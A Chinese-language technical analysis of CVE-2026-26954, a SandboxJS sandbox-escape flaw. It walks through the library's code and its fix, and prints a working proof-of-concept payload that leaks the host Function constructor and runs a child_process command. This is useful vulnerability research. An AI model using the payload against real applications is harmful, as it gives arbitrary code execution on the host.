SandboxJS 连环沙箱逃逸漏洞深度解析(CVE-2026-26954)
漏洞来源一个评分十分的严重漏洞漏洞描述SandboxJS 是一个 JavaScript 沙箱库。在 0.8.34 版本之前,可以获取包含 Function 数组,从而导致沙箱逃逸。如果拥有包含 Function 的数组和 Object.fromEntries,就可以构造 {[p]: Function},其中 p 是任何可构造的属。此漏洞已在 0.8.34 版本中修复漏洞原理CVE-2026-269
漏洞来源
一个评分十分的严重漏洞

漏洞描述
SandboxJS 是一个 JavaScript 沙箱库。在 0.8.34 版本之前,可以获取包含 Function 数组,从而导致沙箱逃逸。如果拥有包含 Function 的数组和 Object.fromEntries,就可以构造 {[p]: Function},其中 p 是任何可构造的属。此漏洞已在 0.8.34 版本中修复
漏洞原理
CVE-2026-26954 的本质是 SandboxJS 污点追踪机制在复杂数据流转换中的结构性断裂:当攻击者利用 Object.values 等内置方法将带有“危险标记”的宿主函数封装进新数组时,沙箱引擎未能将污点标记递归传播至数组元素,导致宿主 Function 构造器在经历“数组存取”与 Object.fromEntries 重组后被意外加白;这种标记的静默丢失使得沙箱误判其为安全对象,进而允许攻击者通过 Promise 链调用该构造器在宿主全局作用域执行任意代码,深刻揭示了纯 JavaScript 沙箱在面对语言自身丰富的反射与数据变换能力时,仅靠局部路径封堵难以维持标记完整性的根本困境。
漏洞分析
漏洞入口点:SandboxExec.ts
// 第 138 行:SAFE_PROTOTYPES 定义
map.set(
Object,
new Set([
'constructor', 'name', 'entries', 'fromEntries',
// ...
'values', // <--- 允许 Object.values
// ...
]),
);当攻击者在沙箱代码中写下 Object.values(...) 时,沙箱的权限检查机制(在 executor.ts 的 GetProp 或 Call 前置检查中)会判定此操作合法,允许执行继续。
接下来执行原生调用
// LispType.Call 的处理逻辑
addOps<unknown, Lisp[], any>(LispType.Call, ({ done, a, b, obj, context }) => {
// ... (参数解析逻辑省略)
// 【步骤 2.1】直接调用宿主环境的原生方法
// obj.context 是宿主对象 (如 globalThis 或 sandbox 全局域)
// obj.prop 是 "values"
let ret = obj.context[obj.prop](...vals) as unknown;
// 此时 ret = [Function, Object, Array, ...] (包含真实的宿主构造函数)
// 【步骤 2.2】尝试进行安全检查(但存在缺陷)
ret = getGlobalProp(ret, context) || ret;
// 【步骤 2.3】返回结果
done(undefined, ret);
});漏洞逻辑分析:
- 原生执行:obj.context[obj.prop](...vals) 直接调用了 JavaScript 引擎原生的 Object.values。由于传入的对象包含了沙箱对宿主全局对象的引用(通常沙箱为了兼容性,会将 Function, Object 等映射到宿主原生构造函数),返回的 ret 是一个真实的 JavaScript 数组,其内部元素直接指向宿主的 Function 构造器等危险对象。
- 清洗失效:代码执行了 getGlobalProp(ret, context)。
- getGlobalProp 的逻辑通常是:“如果 ret 本身是某个全局对象(如 globalThis),则返回对应的沙箱代理;否则返回 undefined”。
- 关键点:ret 是一个新创建的数组实例,它本身不是全局对象。因此 getGlobalProp 返回 undefined。
- 逻辑回退:ret = undefined || ret,导致 ret 保持原样。
最终一个包含宿主危险引用的脏数组被成功返回给了沙箱变量 arr。这是第一次污染,因为代码没有递归遍历数组内部去清洗每个元素。
接下来就是数组元素的解包与传递
// LispType.CreateArray 的处理逻辑
addOps<unknown, Lisp[]>(LispType.CreateArray, ({ done, b, context }) => {
const items = b
.map((item) => {
if (item instanceof SpreadArray) {
return [...item.item]; // 展开操作
} else {
return [item];
}
})
.flat()
.map((item) => valueOrProp(item, context)); // 关键步骤
done(undefined, items);
});漏洞逻辑分析:
- 当攻击者执行 [...arr] 或类似操作时,触发 LispType.CreateArray。
- 代码遍历源数组的元素,并调用 valueOrProp(item, context)。
- valueOrProp 的缺陷:该函数的作用是将沙箱内部的包装器(Wrapper/Prop)解包为原始值。
- 如果 item 是来自上一阶段的那个脏数组中的宿主 Function,valueOrProp 会直接返回这个原始的宿主函数引用。
- 缺失的逻辑:这里没有再次调用类似 sanitizeValue 的检查来判断“这个解包后的值是否是禁止访问的宿主全局对象?”。
最终危险的宿主函数被放入了一个新的沙箱数组结构中,或者被赋值给了一个变量。此时,该引用在沙箱内部已经加白,被视为普通值,最终实现逃逸
后续执行逻辑(隐含在 LispType.Call 的再次触发中):
- 当攻击者执行 MaliciousFunc("return this")() 时:
- 再次进入 LispType.Call 逻辑。
- obj.context 现在是那个真实的宿主 Function。
- obj.context(...) 被执行。
- 由于 Function 构造器具有最高权限,它可以执行任意字符串代码,并且其内部的 this 指向真正的宿主全局对象(globalThis),从而完全突破沙箱隔离。
漏洞过程
POC:
payload = `
const p = (async function () {})();
({
"finally": p.finally,
...Object.fromEntries([['then', ...Object.values(this).slice(1)]]),
}).finally('a=process.getBuiltinModule("child_process").execSync("ls", {stdio: "inherit"})')();
`;接下来对poc的构造进行分析
const p = (async function () {})();这里创建了一个 Promise,可以看到SandboxExec.ts的 SAFE_PROTOTYPES 配置如下:
map.set(Promise, new Set(['constructor', 'then', 'catch', 'finally']));这里允许访问 Promise 及其 finally 方法,在 executor.ts的 GetProp 或 Call 逻辑中,如果对象是原生 Promise 实例,沙箱通常会直接透传原生的 Promise.prototype.finally,它是由宿主引擎原生执行的,而不是由沙箱解释器 (executor.ts) 逐行解释的。这意味着,一旦进入 finally 的内部逻辑,沙箱的检测就暂时失效了
Object.values(this).slice(1)当执行 Object.values(this) 时,看 executor.ts中处理 LispType.Call 的代码
let ret = obj.context[obj.prop](...vals) as unknown; // 调用原生 Object.values
ret = getGlobalProp(ret, context) || ret; // 尝试清洗
done(undefined, ret);getGlobalProp(ret, context)它检查 ret本身(即那个新创建的数组)是否是全局对象,检查 ret内部的元素(即数组里的 Function 引用)是否是全局对象吗?
观察代码:代码中没有任何递归遍历。getGlobalProp 只看了一眼数组的外壳,发现它只是个普通数组,于是返回 undefined。
最终ret = undefined || ret。那个包含宿主 Function 的脏数组,被原封不动地返回给了沙箱变量。
如果现在有一个脏数组 arr = [宿主Function, ...]。直接用它可能还会被某些检查拦截。那么PoC 中为什么要用 Object.fromEntries([['then', ...arr]])
这是为了改变数据的形态,从“数组元素”变为“对象属性”。
那在这个转换过程中,沙箱有机会拦截吗?
展开运算符 ...arr 会触发 executor.ts中的 LispType.CreateArray
.map((item) => valueOrProp(item, context))valueOrProp解包沙箱内部的包装器。如果 item 已经是裸露的宿主引用(来自上一步的泄露),它就原样返回。
Object.fromEntries 的调用再次触发 LispType.Call。
let ret = obj.context[obj.prop](...vals); // 原生执行
ret = getGlobalProp(ret, context) || ret; // 再次浅层检查这次 ret 是一个对象 { then: 宿主Function }。getGlobalProp 只检查对象本身。于是,一个包含危险 then 属性的普通对象被成功创建并返回。
这里数据在从数组到对象的形态转换中,从未经历过深度的污点清洗。宿主 Function 现在披着 obj.then 的外衣,在沙箱看来,它只是一个普通的函数引用。
({ finally: p.finally, ...obj }).finally('恶意代码')()- 构建了一个新对象 target,它有两个属性:
- finally: 指向原生宿主方法。
- then: 指向宿主 Function 构造器。
- 调用 target.finally('恶意代码')。
当 target.finally 被调用时,p.finally 是原生的 Promise.prototype.finally。当你调用它时,JavaScript 引擎(V8/Node)直接在宿主层面执行该方法的逻辑。
宿主逻辑是这样的:
执行 finally 回调。根据 Promise 规范,调用这个 Promise 对象(即 target)的 then 方法。
宿主引擎在查找 target.then 时,由于target 是一个普通的 JS 对象,finally 是原生方法,它们之间的属性访问发生在沙箱边界之外的宿主内存空间中。宿主引擎直接读取了 target 对象内存中的 then 指针,发现它指向 Function 构造器。
最终过程:
- 宿主 finally 调用 target.then('恶意代码')。
- 这等价于直接执行 Function('恶意代码')。
- Function 构造器创建的函数,其作用域天然是全局宿主作用域。
- 于是,process.getBuiltinModule(...) 得以执行,沙箱彻底被绕过。
漏洞修复
官方修复


删除了 fallback 逻辑: ticks || currentTicks.current替换为固定来源:+ context.ctx.ticks
在旧版本代码中(红色部分),sandboxFunction 允许传入一个 ticks 对象。如果没传,就使用全局的 currentTicks.current。如果攻击者能够通过某种方式(例如利用原型污染、或者利用沙箱内部某些暴露的配置接口)修改 currentTicks.current 或者传入一个特制的 ticks 对象,他们就可以控制沙箱的执行预算。如果攻击者能禁用 Ticks 检查,他们就可以运行无限循环或复杂计算来辅助逃逸,或者在某些竞争条件下绕过检查。currentTicks 作为一个可变的全局/模块级状态,本身就是不安全的。它意味着沙箱的状态不是完全隔离的,而是依赖于外部传入的或全局共享的变量。
效果:移除 ticks 参数,意味着沙箱的执行限制现在完全由创建上下文时的 context 决定,且不可在函数创建阶段被外部篡改。
参考
https://github.com/nyariv/SandboxJS/security/advisories/GHSA-6r9f-759j-hjgv
CVE-2026-26954 因污点标记未递归传播致 Function 泄露,结合 Object.fromEntries 实现沙箱逃逸。
由 AI 根据全文自动生成,仅供参考,以原文为准